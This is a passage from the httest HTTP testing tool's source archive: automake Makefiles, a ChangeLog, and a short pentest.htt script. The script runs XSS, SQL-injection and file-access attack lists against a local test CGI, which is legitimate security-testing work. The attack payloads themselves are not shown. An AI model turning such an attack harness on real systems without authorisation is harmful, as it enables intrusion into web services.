'/\//!d;s|^|$(distdir)/|;s,/[^/]*$$,,' | \ sort -u` ;; \ esac; \ for file in $$dist_files; do \ if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \ if test -d $$d/$$file; then \ dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \ if test -d "$(distdir)/$$file"; then \ find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ fi; \ if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \ cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \ find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ fi; \ cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \ else \ test -f "$(distdir)/$$file" \ || cp -p $$d/$$file "$(distdir)/$$file" \ || exit 1; \ fi; \ done check-am: all-am check: check-am all-am: Makefile installdirs: install: install-am install-exec: install-exec-am install-data: install-data-am uninstall: uninstall-am install-am: all-am @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am installcheck: installcheck-am install-strip: if test -z '$(STRIP)'; then \ $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ install; \ else \ $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'" install; \ fi mostlyclean-generic: clean-generic: distclean-generic: -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES) maintainer-clean-generic: @echo "This command is intended for maintainers to use" @echo "it deletes files that may require special tools to rebuild." clean: clean-am clean-am: clean-generic clean-libtool mostlyclean-am distclean: distclean-am -rm -f Makefile distclean-am: clean-am distclean-generic dvi: dvi-am dvi-am: html: html-am html-am: info: info-am info-am: install-data-am: install-dvi: install-dvi-am install-dvi-am: install-exec-am: install-html: install-html-am install-html-am: install-info: install-info-am install-info-am: install-man: install-pdf: install-pdf-am install-pdf-am: install-ps: install-ps-am install-ps-am: installcheck-am: maintainer-clean: maintainer-clean-am -rm -f Makefile maintainer-clean-am: distclean-am maintainer-clean-generic mostlyclean: mostlyclean-am mostlyclean-am: mostlyclean-generic mostlyclean-libtool pdf: pdf-am pdf-am: ps: ps-am ps-am: uninstall-am: .MAKE: install-am install-strip .PHONY: all all-am check check-am clean clean-generic clean-libtool \ distclean distclean-generic distclean-libtool distdir dvi \ dvi-am html html-am info info-am install install-am \ install-data install-data-am install-dvi install-dvi-am \ install-exec install-exec-am install-html install-html-am \ install-info install-info-am install-man install-pdf \ install-pdf-am install-ps install-ps-am install-strip \ installcheck installcheck-am installdirs maintainer-clean \ maintainer-clean-generic mostlyclean mostlyclean-generic \ mostlyclean-libtool pdf pdf-am ps ps-am uninstall uninstall-am # Tell versions [3.59,3.63) of GNU make to not export all variables. # Otherwise a system limit (for SysV at least) may be exceeded. .NOEXPORT: httest-2.4.8/scripts/pentester/pentest.htt0000664000175100017510000000062212203674076015677 00000000000000INCLUDE attacks.htb CLIENT _MILESTONE xss attacks runAttacks xss localhost 8080 /cgi-bin/test-cgi xssAttacks.xml _END _MILESTONE sql attacks runAttacks sql localhost 8080 /cgi-bin/test-cgi sqlAttacks.xml runAttacks sql localhost 8080 /cgi-bin/test-cgi bsqlAttacks.xml _END _MILESTONE file attacks runAttacks files localhost 8080 /cgi-bin/test-cgi filesAttacks.xml _END END httest-2.4.8/scripts/Makefile.am0000664000175100017510000000002212203674076013511 00000000000000SUBDIRS=pentester httest-2.4.8/scripts/Makefile.in0000664000175100017510000004221412205603772013530 00000000000000# Makefile.in generated by automake 1.11.6 from Makefile.am. # @configure_input@ # Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, # 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011 Free Software # Foundation, Inc. # This Makefile.in is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY, to the extent permitted by law; without # even the implied warranty of MERCHANTABILITY or FITNESS FOR A # PARTICULAR PURPOSE. @SET_MAKE@ VPATH = @srcdir@ am__make_dryrun = \ { \ am__dry=no; \ case $$MAKEFLAGS in \ *\\[\ \ ]*) \ echo 'am--echo: ; @echo "AM" OK' | $(MAKE) -f - 2>/dev/null \ | grep '^AM OK$$' >/dev/null || am__dry=yes;; \ *) \ for am__flg in $$MAKEFLAGS; do \ case $$am__flg in \ *=*|--*) ;; \ *n*) am__dry=yes; break;; \ esac; \ done;; \ esac; \ test $$am__dry = yes; \ } pkgdatadir = $(datadir)/@PACKAGE@ pkgincludedir = $(includedir)/@PACKAGE@ pkglibdir = $(libdir)/@PACKAGE@ pkglibexecdir = $(libexecdir)/@PACKAGE@ am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd install_sh_DATA = $(install_sh) -c -m 644 install_sh_PROGRAM = $(install_sh) -c install_sh_SCRIPT = $(install_sh) -c INSTALL_HEADER = $(INSTALL_DATA) transform = $(program_transform_name) NORMAL_INSTALL = : PRE_INSTALL = : POST_INSTALL = : NORMAL_UNINSTALL = : PRE_UNINSTALL = : POST_UNINSTALL = : build_triplet = @build@ host_triplet = @host@ subdir = scripts DIST_COMMON = $(srcdir)/Makefile.am $(srcdir)/Makefile.in ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 am__aclocal_m4_deps = $(top_srcdir)/m4/libtool.m4 \ $(top_srcdir)/m4/ltoptions.m4 $(top_srcdir)/m4/ltsugar.m4 \ $(top_srcdir)/m4/ltversion.m4 $(top_srcdir)/m4/lt~obsolete.m4 \ $(top_srcdir)/configure.in am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \ $(ACLOCAL_M4) mkinstalldirs = $(install_sh) -d CONFIG_HEADER = $(top_builddir)/config/config.h CONFIG_CLEAN_FILES = CONFIG_CLEAN_VPATH_FILES = depcomp = am__depfiles_maybe = SOURCES = DIST_SOURCES = RECURSIVE_TARGETS = all-recursive check-recursive dvi-recursive \ html-recursive info-recursive install-data-recursive \ install-dvi-recursive install-exec-recursive \ install-html-recursive install-info-recursive \ install-pdf-recursive install-ps-recursive install-recursive \ installcheck-recursive installdirs-recursive pdf-recursive \ ps-recursive uninstall-recursive am__can_run_installinfo = \ case $$AM_UPDATE_INFO_DIR in \ n|no|NO) false;; \ *) (install-info --version) >/dev/null 2>&1;; \ esac RECURSIVE_CLEAN_TARGETS = mostlyclean-recursive clean-recursive \ distclean-recursive maintainer-clean-recursive AM_RECURSIVE_TARGETS = $(RECURSIVE_TARGETS:-recursive=) \ $(RECURSIVE_CLEAN_TARGETS:-recursive=) tags TAGS ctags CTAGS \ distdir ETAGS = etags CTAGS = ctags DIST_SUBDIRS = $(SUBDIRS) DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) am__relativize = \ dir0=`pwd`; \ sed_first='s,^\([^/]*\)/.*$$,\1,'; \ sed_rest='s,^[^/]*/*,,'; \ sed_last='s,^.*/\([^/]*\)$$,\1,'; \ sed_butlast='s,/*[^/]*$$,,'; \ while test -n "$$dir1"; do \ first=`echo "$$dir1" | sed -e "$$sed_first"`; \ if test "$$first" != "."; then \ if test "$$first" = ".."; then \ dir2=`echo "$$dir0" | sed -e "$$sed_last"`/"$$dir2"; \ dir0=`echo "$$dir0" | sed -e "$$sed_butlast"`; \ else \ first2=`echo "$$dir2" | sed -e "$$sed_first"`; \ if test "$$first2" = "$$first"; then \ dir2=`echo "$$dir2" | sed -e "$$sed_rest"`; \ else \ dir2="../$$dir2"; \ fi; \ dir0="$$dir0"/"$$first"; \ fi; \ fi; \ dir1=`echo "$$dir1" | sed -e "$$sed_rest"`; \ done; \ reldir="$$dir2" ACLOCAL = @ACLOCAL@ AMTAR = @AMTAR@ AR = @AR@ AUTOCONF = @AUTOCONF@ AUTOHEADER = @AUTOHEADER@ AUTOMAKE = @AUTOMAKE@ AWK = @AWK@ CC = @CC@ CCDEPMODE = @CCDEPMODE@ CFLAGS = @CFLAGS@ CPP = @CPP@ CPPFLAGS = @CPPFLAGS@ CYGPATH_W = @CYGPATH_W@ DEFS = @DEFS@ DEPDIR = @DEPDIR@ DLLTOOL = @DLLTOOL@ DSYMUTIL = @DSYMUTIL@ DUMPBIN = @DUMPBIN@ ECHO_C = @ECHO_C@ ECHO_N = @ECHO_N@ ECHO_T = @ECHO_T@ EGREP = @EGREP@ EXEEXT = @EXEEXT@ FGREP = @FGREP@ GREP = @GREP@ HTTEST_MODULES = @HTTEST_MODULES@ INSTALL = @INSTALL@ INSTALL_DATA = @INSTALL_DATA@ INSTALL_PROGRAM = @INSTALL_PROGRAM@ INSTALL_SCRIPT = @INSTALL_SCRIPT@ INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@ LD = @LD@ LDFLAGS = @LDFLAGS@ LIBOBJS = @LIBOBJS@ LIBS = @LIBS@ LIBTOOL = @LIBTOOL@ LIPO = @LIPO@ LN_S = @LN_S@ LTLIBOBJS = @LTLIBOBJS@ MAKEINFO = @MAKEINFO@ MANIFEST_TOOL = @MANIFEST_TOOL@ MKDIR_P = @MKDIR_P@ NM = @NM@ NMEDIT = @NMEDIT@ OBJDUMP = @OBJDUMP@ OBJEXT = @OBJEXT@ OTOOL = @OTOOL@ OTOOL64 = @OTOOL64@ PACKAGE = @PACKAGE@ PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@ PACKAGE_NAME = @PACKAGE_NAME@ PACKAGE_STRING = @PACKAGE_STRING@ PACKAGE_TARNAME = @PACKAGE_TARNAME@ PACKAGE_URL = @PACKAGE_URL@ PACKAGE_VERSION = @PACKAGE_VERSION@ PATH_SEPARATOR = @PATH_SEPARATOR@ RANLIB = @RANLIB@ SED = @SED@ SET_MAKE = @SET_MAKE@ SHELL = @SHELL@ STRIP = @STRIP@ VERSION = @VERSION@ abs_builddir = @abs_builddir@ abs_srcdir = @abs_srcdir@ abs_top_builddir = @abs_top_builddir@ abs_top_srcdir = @abs_top_srcdir@ ac_ct_AR = @ac_ct_AR@ ac_ct_CC = @ac_ct_CC@ ac_ct_DUMPBIN = @ac_ct_DUMPBIN@ am__include = @am__include@ am__leading_dot = @am__leading_dot@ am__quote = @am__quote@ am__tar = @am__tar@ am__untar = @am__untar@ bindir = @bindir@ build = @build@ build_alias = @build_alias@ build_cpu = @build_cpu@ build_os = @build_os@ build_vendor = @build_vendor@ builddir = @builddir@ datadir = @datadir@ datarootdir = @datarootdir@ docdir = @docdir@ dvidir = @dvidir@ exec_prefix = @exec_prefix@ host = @host@ host_alias = @host_alias@ host_cpu = @host_cpu@ host_os = @host_os@ host_vendor = @host_vendor@ htmldir = @htmldir@ includedir = @includedir@ infodir = @infodir@ install_sh = @install_sh@ libdir = @libdir@ libexecdir = @libexecdir@ localedir = @localedir@ localstatedir = @localstatedir@ mandir = @mandir@ mkdir_p = @mkdir_p@ oldincludedir = @oldincludedir@ pdfdir = @pdfdir@ prefix = @prefix@ program_transform_name = @program_transform_name@ psdir = @psdir@ sbindir = @sbindir@ sharedstatedir = @sharedstatedir@ srcdir = @srcdir@ sysconfdir = @sysconfdir@ target_alias = @target_alias@ top_build_prefix = @top_build_prefix@ top_builddir = @top_builddir@ top_srcdir = @top_srcdir@ SUBDIRS = pentester all: all-recursive .SUFFIXES: $(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps) @for dep in $?; do \ case '$(am__configure_deps)' in \ *$$dep*) \ ( cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh ) \ && { if test -f $@; then exit 0; else break; fi; }; \ exit 1;; \ esac; \ done; \ echo ' cd $(top_srcdir) && $(AUTOMAKE) --gnu --ignore-deps scripts/Makefile'; \ $(am__cd) $(top_srcdir) && \ $(AUTOMAKE) --gnu --ignore-deps scripts/Makefile .PRECIOUS: Makefile Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status @case '$?' in \ *config.status*) \ cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \ *) \ echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \ cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \ esac; $(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(top_srcdir)/configure: $(am__configure_deps) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(ACLOCAL_M4): $(am__aclocal_m4_deps) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(am__aclocal_m4_deps): mostlyclean-libtool: -rm -f *.lo clean-libtool: -rm -rf .libs _libs # This directory's subdirectories are mostly independent; you can cd # into them and run `make' without going through this Makefile. # To change the values of `make' variables: instead of editing Makefiles, # (1) if the variable is set in `config.status', edit `config.status' # (which will cause the Makefiles to be regenerated when you run `make'); # (2) otherwise, pass the desired values on the `make' command line. $(RECURSIVE_TARGETS): @fail= failcom='exit 1'; \ for f in x $$MAKEFLAGS; do \ case $$f in \ *=* | --[!k]*);; \ *k*) failcom='fail=yes';; \ esac; \ done; \ dot_seen=no; \ target=`echo $@ | sed s/-recursive//`; \ list='$(SUBDIRS)'; for subdir in $$list; do \ echo "Making $$target in $$subdir"; \ if test "$$subdir" = "."; then \ dot_seen=yes; \ local_target="$$target-am"; \ else \ local_target="$$target"; \ fi; \ ($(am__cd) $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \ || eval $$failcom; \ done; \ if test "$$dot_seen" = "no"; then \ $(MAKE) $(AM_MAKEFLAGS) "$$target-am" || exit 1; \ fi; test -z "$$fail" $(RECURSIVE_CLEAN_TARGETS): @fail= failcom='exit 1'; \ for f in x $$MAKEFLAGS; do \ case $$f in \ *=* | --[!k]*);; \ *k*) failcom='fail=yes';; \ esac; \ done; \ dot_seen=no; \ case "$@" in \ distclean-* | maintainer-clean-*) list='$(DIST_SUBDIRS)' ;; \ *) list='$(SUBDIRS)' ;; \ esac; \ rev=''; for subdir in $$list; do \ if test "$$subdir" = "."; then :; else \ rev="$$subdir $$rev"; \ fi; \ done; \ rev="$$rev ."; \ target=`echo $@ | sed s/-recursive//`; \ for subdir in $$rev; do \ echo "Making $$target in $$subdir"; \ if test "$$subdir" = "."; then \ local_target="$$target-am"; \ else \ local_target="$$target"; \ fi; \ ($(am__cd) $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \ || eval $$failcom; \ done && test -z "$$fail" tags-recursive: list='$(SUBDIRS)'; for subdir in $$list; do \ test "$$subdir" = . || ($(am__cd) $$subdir && $(MAKE) $(AM_MAKEFLAGS) tags); \ done ctags-recursive: list='$(SUBDIRS)'; for subdir in $$list; do \ test "$$subdir" = . || ($(am__cd) $$subdir && $(MAKE) $(AM_MAKEFLAGS) ctags); \ done ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES) list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ unique=`for i in $$list; do \ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ done | \ $(AWK) '{ files[$$0] = 1; nonempty = 1; } \ END { if (nonempty) { for (i in files) print i; }; }'`; \ mkid -fID $$unique tags: TAGS TAGS: tags-recursive $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ $(TAGS_FILES) $(LISP) set x; \ here=`pwd`; \ if ($(ETAGS) --etags-include --version) >/dev/null 2>&1; then \ include_option=--etags-include; \ empty_fix=.; \ else \ include_option=--include; \ empty_fix=; \ fi; \ list='$(SUBDIRS)'; for subdir in $$list; do \ if test "$$subdir" = .; then :; else \ test ! -f $$subdir/TAGS || \ set "$$@" "$$include_option=$$here/$$subdir/TAGS"; \ fi; \ done; \ list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ unique=`for i in $$list; do \ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ done | \ $(AWK) '{ files[$$0] = 1; nonempty = 1; } \ END { if (nonempty) { for (i in files) print i; }; }'`; \ shift; \ if test -z "$(ETAGS_ARGS)$$*$$unique"; then :; else \ test -n "$$unique" || unique=$$empty_fix; \ if test $$# -gt 0; then \ $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ "$$@" $$unique; \ else \ $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ $$unique; \ fi; \ fi ctags: CTAGS CTAGS: ctags-recursive $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ $(TAGS_FILES) $(LISP) list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ unique=`for i in $$list; do \ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ done | \ $(AWK) '{ files[$$0] = 1; nonempty = 1; } \ END { if (nonempty) { for (i in files) print i; }; }'`; \ test -z "$(CTAGS_ARGS)$$unique" \ || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \ $$unique GTAGS: here=`$(am__cd) $(top_builddir) && pwd` \ && $(am__cd) $(top_srcdir) \ && gtags -i $(GTAGS_ARGS) "$$here" distclean-tags: -rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags distdir: $(DISTFILES) @srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ topsrcdirstrip=`echo "$(top_srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ list='$(DISTFILES)'; \ dist_files=`for file in $$list; do echo $$file; done | \ sed -e "s|^$$srcdirstrip/||;t" \ -e "s|^$$topsrcdirstrip/|$(top_builddir)/|;t"`; \ case $$dist_files in \ */*) $(MKDIR_P) `echo "$$dist_files" | \ sed '/\//!d;s|^|$(distdir)/|;s,/[^/]*$$,,' | \ sort -u` ;; \ esac; \ for file in $$dist_files; do \ if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \ if test -d $$d/$$file; then \ dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \ if test -d "$(distdir)/$$file"; then \ find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ fi; \ if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \ cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \ find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ fi; \ cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \ else \ test -f "$(distdir)/$$file" \ || cp -p $$d/$$file "$(distdir)/$$file" \ || exit 1; \ fi; \ done @list='$(DIST_SUBDIRS)'; for subdir in $$list; do \ if test "$$subdir" = .; then :; else \ $(am__make_dryrun) \ || test -d "$(distdir)/$$subdir" \ || $(MKDIR_P) "$(distdir)/$$subdir" \ || exit 1; \ dir1=$$subdir; dir2="$(distdir)/$$subdir"; \ $(am__relativize); \ new_distdir=$$reldir; \ dir1=$$subdir; dir2="$(top_distdir)"; \ $(am__relativize); \ new_top_distdir=$$reldir; \ echo " (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) top_distdir="$$new_top_distdir" distdir="$$new_distdir" \\"; \ echo " am__remove_distdir=: am__skip_length_check=: am__skip_mode_fix=: distdir)"; \ ($(am__cd) $$subdir && \ $(MAKE) $(AM_MAKEFLAGS) \ top_distdir="$$new_top_distdir" \ distdir="$$new_distdir" \ am__remove_distdir=: \ am__skip_length_check=: \ am__skip_mode_fix=: \ distdir) \ || exit 1; \ fi; \ done check-am: all-am check: check-recursive all-am: Makefile installdirs: installdirs-recursive installdirs-am: install: install-recursive install-exec: install-exec-recursive install-data: install-data-recursive uninstall: uninstall-recursive install-am: all-am @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am installcheck: installcheck-recursive install-strip: if test -z '$(STRIP)'; then \ $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ install; \ else \ $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'" install; \ fi mostlyclean-generic: clean-generic: distclean-generic: -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES) maintainer-clean-generic: @echo "This command is intended for maintainers to use" @echo "it deletes files that may require special tools to rebuild." clean: clean-recursive clean-am: clean-generic clean-libtool mostlyclean-am distclean: distclean-recursive -rm -f Makefile distclean-am: clean-am distclean-generic distclean-tags dvi: dvi-recursive dvi-am: html: html-recursive html-am: info: info-recursive info-am: install-data-am: install-dvi: install-dvi-recursive install-dvi-am: install-exec-am: install-html: install-html-recursive install-html-am: install-info: install-info-recursive install-info-am: install-man: install-pdf: install-pdf-recursive install-pdf-am: install-ps: install-ps-recursive install-ps-am: installcheck-am: maintainer-clean: maintainer-clean-recursive -rm -f Makefile maintainer-clean-am: distclean-am maintainer-clean-generic mostlyclean: mostlyclean-recursive mostlyclean-am: mostlyclean-generic mostlyclean-libtool pdf: pdf-recursive pdf-am: ps: ps-recursive ps-am: uninstall-am: .MAKE: $(RECURSIVE_CLEAN_TARGETS) $(RECURSIVE_TARGETS) ctags-recursive \ install-am install-strip tags-recursive .PHONY: $(RECURSIVE_CLEAN_TARGETS) $(RECURSIVE_TARGETS) CTAGS GTAGS \ all all-am check check-am clean clean-generic clean-libtool \ ctags ctags-recursive distclean distclean-generic \ distclean-libtool distclean-tags distdir dvi dvi-am html \ html-am info info-am install install-am install-data \ install-data-am install-dvi install-dvi-am install-exec \ install-exec-am install-html install-html-am install-info \ install-info-am install-man install-pdf install-pdf-am \ install-ps install-ps-am install-strip installcheck \ installcheck-am installdirs installdirs-am maintainer-clean \ maintainer-clean-generic mostlyclean mostlyclean-generic \ mostlyclean-libtool pdf pdf-am ps ps-am tags tags-recursive \ uninstall uninstall-am # Tell versions [3.59,3.63) of GNU make to not export all variables. # Otherwise a system limit (for SysV at least) may be exceeded. .NOEXPORT: httest-2.4.8/ChangeLog0000664000175100017510000010772212205603310011540 00000000000000 -*- coding: utf-8 -*- Changes with httest 2.4.8 *) httest: Bugfix possible coredump for content pipe from/to _EXEC. *) httest: Bugfix wrong error trace and avoid another coredump in this context. Error trace no points to the end of a block instead to the start of block where an error occured. *) httest: Bugfix coredump if daemon is using pools and httest exits on error. *) htproxy: Bugfix wrong initialized httest commands before calling them. Changes with httest 2.4.7 *) httest: Bugfix wrong error line number on windows *) httest: _DSO:FUNC method to call a load module function with the signature apr_status_t func(const char *string). Usefull to trigger stuff in the loaded module. *) packages: shrinkwrap: make check reports Changes with httest 2.4.6 *) httest: Bugfix racecondition in _SH *) httest: Bugfix wrong error handling in websockets *) httest: Bugfix buffer overflow on 64-bit archs Changes with httest 2.4.5 *) httest: Add missing thread numbers on error if thread number log is turned on. *) httest: Bugfix possible deadlock on read. *) httest: Rename regexec, else a loaded transport module wich do use the posxi pcre will fail, because it will possible call the httest regexec. *) httest: Bugfix found segfault thrown on illegal arguments. Reported by Eva Ramon. *) httest: Install include/htt/dso.h for dynamic transport object library. Changes with httest 2.4.4 *) httest: Bugfix possible coredump in ssl_module.c *) httest: Bugfix possible coredump in store.c *) httest: Experimental dynamic shared object support for transport objects. This could be very useful to test shared libraries directly with the wellknown httest commands. *) httest: Bugfix missing help text for module commands. *) httest: Bugfix overflow problem with websocket commands _WS:SEND and _WS:RECV. *) httest: Fixed broken _SSL:TRACE, add >,< again for in/out to make them expectable like before. *) httest: Fix broken identing after GO. Changes with httest 2.4.3 *) macros: Did cleanup the macros and document the interfaces. Mostly. *) scripts:Add pentester script folder. Read the pentester.htt how to initialize. Is able to handle the xssAttacks.xml, sqlAttacks.xml and the filesAttacks.xml. Also a greate demonstration for the _MILESTONE usage and show the capability of httest. *) hturl: Removed, use _HTML:PARSE/_HTML:XPATH and _XML:PARSE/_XML:XPATH instead. *) htx2h: Removed use _BINARY:SEND/_BINARY:RECV to send hex values directly. *) httest: All block calls can handle VAR(). If you hand over variables with VAR() instead of $ the resolving is done afert calling. *) httest: A new _MILESTONE command makes it possible to run several sub tests in one script. The test will not fail in a milestone section but will fail at the end with a statistic how many milestone did run and how many failed. Is currently marked experimental. *) httest: Bugfixed command _DEBUG which did not print anything at all. *) httest: Correct color on|off to avoid scrambled colors in some cases. *) httest: Improve _LOOP new it is possible to initialize the loop variable with an initial value. Default this is still 0. Changes with httest 2.4.2 *) httest: Add a change from Alain Stalder for coloring on windows. Changes with httest 2.4.1 *) httest: New you can close the body of _IF simply with a _END command instead with "_END IF". *) httest: Bugfixed _FOR command, if variable contains newline this also counts as separator. *) httest: Bugfix appender_std, threads messup colors *) httest: Bugfix appender_std, variable with newlines did messup output. Changes with httest 2.4.0 *) httest: Logger with appender concept introduced to be able to add and use different appenders. Default a standard appender is active. *) httest: Added colored output in the standard appender. *) httest: Fixed LOCK command which could lead to deadlock while SERVER/CLIENT start up, because all three used the same mutex. *) httest: Removed PROCESS, _PROCESS and the corresponding _PROC_WAIT from httest. This function are useless and do not work as expected. *) httest: Command _SOCKET is not used any more and is marked depreciated. you can remove this command without change your scripts behavour. Changes with httest 2.3.3 *) httest: Fixed segfault on httest -C to print help text of a given command . *) httest: Fixed the broken log output on various places due the refactoring for the thread safe output implementation in release 2.3.0. Changes with httest 2.3.2 *) httest: Add annotation to ignore/skip tests based on defined rules. Useful if tests do only run on certain machine or plattforms or to tag slow tests. *) httest: Charset translation support. Changes with httest 2.3.1 *) httest: Various files were incorrect/incomplete, have to revoke 2.3.0 Changes with httest 2.3.0 *) httest: Mutex based logger to avoid scattered lines. Add optional thread id to be able to sort the output of multi threaded tests. Changes with httest 2.2.14 *) httest: Bugfixed wrong length handling in websocket implementation. Changes with httest 2.2.13 *) httest: Adjust logging if calling unresolvable inline functions. *) httest: Bugfixed buggy _RPS command done by Steve Saunders. *) httest: Changed _DEBUG command to print allways no mather with log level. Changes with httest 2.2.12 *) httest: Distribute a server to a remote host, very usefull for integration testing, where a mock server must reside on a specific host in a specific network zone. Changes with httest 2.2.11 *) httest: Bugfix possible coredump in thread tests with SSL. Changes with httest 2.2.10 *) httest: Add a check if _EXPECT are clean or include some unescaped quotes. Please adjust detected missformated _EXPECT. Changes with httest 2.2.9 *) httest: New commands REQUIRE_VERSION and REQUIRE_MODULE. Changes with httest 2.2.8 *) httest: Workaround for cert loading problem if server is threaded. *) plugins: Syntax highlighting for BBEdit/TextWrangler (Mac), Notepad++ (Win) and gedit/gtkSourceView (Linux). *) tools: htcolor Perl script to color httest output. Changes with httest 2.2.7 *) httest: Performance improvments around receiving and sending data. Changes with httest 2.2.6 *) httest: New RAMPUP command to control the start fo CLIENTS. *) httest: refactoring to enable global commands in modules. *) httest: _LOOP for a given time implemented, i.e. _LOOP 1000 [ms] loops for 1000 ms. Only [ms] implemented yet. *) httest: Bugfixed log body data. *) httest: Bugfixed possible coredump with lua blocks. Changes with httest 2.2.5 *) httest: Performance module for distributed client support. *) httest: Improvments suggested by sonar scann *) httest: Improved log performance with multi-threaded tests. Changes with httest 2.2.4 *) httest: Bugfix possible segfault with _SSL:TRACE Changes with httest 2.2.3 *) httest: Openssl 1.0.1 support. *) httest: Bugfixed global command GO which can be used now to join threads. *) httest: Expect/match/grep TLS extention messages *) httest: Get server cert also on "_SSL:RENEG_CERT" and do verification of this cert only on "_SSL:RENEG_CERT verify" Changes with httest 2.2.2 *) httest: New SSL command to set cipher suite. *) httest: Expect/match/grep SSL handshake messages. Changes with httest 2.2.1 *) httest: New XPath command to query parts of the HTML document. *) httest: New variable scope GLOBAL. This variable are shared among all threads. Changes with httest 2.2.0 *) general: Forked from httest 2.1.19 *) httest: Javascript BLOCK support *) httest: Improve formatings on output *) httest: Bugfix non working _SEQUENCE command and add a test for verify even the bad case *) httest: Add _ASSERT "" command for arithmetical assertions, cleaner and better readable than _IF ... _ELSE ... _END constructs. Changes with httest 2.1.18 *) httest: Bugfix possible coredumps at temp file clean up and _EXEC. Changes with httest 2.1.17 *) httest: Read trailing headers after chunked body. *) httest: Support for variable definition in command line. You can now call httest -Dyour=var or in long from httest --define your=var of course this is possible multiple time. *) httest: Started with a simple httest debuger. Can set breakpoint with _DBG:BP. On breakpoint a simple command line interpreter helps you investigate your test. There is "cont" to continue test, "quit" for quit test, "list" to geht list around breakpoint, "set =" to set a variable and a "get " to get the value of a variable even enviroment variables. Changes with httest 2.1.16 *) httest: Use a generic tokenize to argv for most commands. Quoted tokens are threaded as one parameter. *) httest: Improve _LOOP with an invariant. *) httest: PATH directiv to define paths for INCLUDE of relative include files. *) httest: More safestack fixes for openssl stuff. Changes with httest 2.1.15 